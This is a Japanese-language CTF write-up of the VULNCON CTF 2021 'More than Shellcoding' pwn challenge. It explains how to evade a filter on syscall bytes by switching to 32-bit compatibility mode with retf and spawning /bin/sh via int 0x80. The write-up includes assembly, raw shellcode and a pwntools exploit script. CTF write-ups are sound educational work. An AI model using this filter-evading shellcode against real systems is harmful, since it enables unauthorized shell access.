<VULNCON CTF 2021> More than Shellcoding Writeup
はじめに
先週末に行われていた VULNCON CTF 2021 に1人で参加しました。
More than Shellcoding だけ解けました。
ちなみに、このCTFは VULNCON 2021 というイベントの企画の1つらしく、そこでは専門家の方々のトークイベントなども開催されるらしいです。学校があるので観られなそう。ちょっと残念。
More than Shellcoding (Pwn)
実行ファイルだけ配られました。
$ file More_than_shellcoding More_than_shellcoding: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=43505c2808579f50829576cb1bbcbfd5bd5a7f95, for GNU/Linux 3.2.0, not stripped $ checksec chall [*] '/home/hasuke/Programs/VULN/Shellcoding/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
入力したシェルコードを実行してくれるようですが、どうせ何か制限がかかっているので、デコンパイル*1(広義)して解析していきます。
$ ./chall Are you really good at shellcoding Lets try : aaaaaaaaa Illegal instruction (コアダンプ)
入力を受け取る部分を見てみると、シェルコードが格納される領域のアドレスがわかります。
puts("Are you really good at shellcoding Lets try : "); __buf = (code *)mmap((void *)0x69420000,0x100,2,0x22,0,0); uVar1 = read(0,__buf,0x100); mprotect(__buf,0x100,4);
制限は、fileter_shellcode関数のこの部分にあります。
index = 0; while( true ) { if (len_shellcode + -1 <= index) { return; } if ((*(char *)(shellcode + index) == '\x0f') && (*(char *)(shellcode + (long)index + 1) == '\x05')) break; index = index + 1; } puts("\nbad shellcode"); /* WARNING: Subroutine does not return */ exit(0);
入力したコードの中に \x0f\x05 のかたまりがあると実行してくれません( \x0f\x05 はsyscall
に対応します)。
こういう場合の作戦の1つとして、シェルコードの末尾に \x0e\x05 とかを入れて、そこのアドレスを inc
命令で syscall
に変換するやり方があります。ですが今回は、mprotect()
によって、後から書き込みができない状態になっているので、その方法は通用しません(第3引数の 0x4 は PROT_EXEC
に対応します)。
syscall
を直接実行するのは難しそうなので、32 ビットモードでint 0x80
命令を実行して、システムコールを発行する方法を考えます。
ISA が AMD64 の CPU は、OS が 64 ビットだと Long モードで動作します。Long モードには 64 ビットモードと互換モードがあり、前者から後者に切り替えることで、アドレスが 32 ビット単位の命令を実行できるようになります。そしてこの切り替えは、コードセグメントのセレクタ値を 0x23 にすることで行えます。セレクタ値の変更にはretf
命令*2が使えます。*3
具体的な操作をアセンブリ言語で書くとこんな感じになります。(11行目以降は、ももいろテクノロジー*4を参考にしました)
global main main: BITS 64 xor rsp, rsp mov esp, 0x404088 mov DWORD [rsp], 0x69420018 mov DWORD [rsp+4], 0x23 retf BITS 32 push 0x0068732f push 0x6e69622f mov ebx, esp xor edx, edx push edx push ebx mov ecx, esp mov eax, 11 int 0x80
ちなみに nasm でアセンブルするときは PTR がいらないみたいです。
互換モードに切り替わる際、スタックポインタは元々指していたアドレスの下位 4 バイト分のアドレスを指すようになるので、切り替わる前に rsp の値を調整しておく必要があります。メモリ等の情報は、bss 領域に書き込みました。
exploit コードはこんな感じです。
#!/usr/bin/env python3 from pwn import * bin_file = './chall' context(os = 'linux', arch = 'amd64') #HOST = '35.228.15.118' #PORT = 1338 binf = ELF(bin_file) def attack(io, **kwargs): shellcode = b'\x48\x31\xe4\xbc\x88\x40\x40\x00\xc7\x04\x24\x18\x00\x42\x69\xc7\x44\x24\x04\x23\x00\x00\x00\xcb'\ b'\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x31\xd2\x52\x53\x89\xe1\xb8\x0b\x00\x00\x00\xcd\x80' io.recvline() io.sendline(shellcode) def main(): io = process(bin_file) #io = remote(HOST, PORT) attack(io) #gdb.attach(io, '') io.interactive() if __name__ == '__main__': main()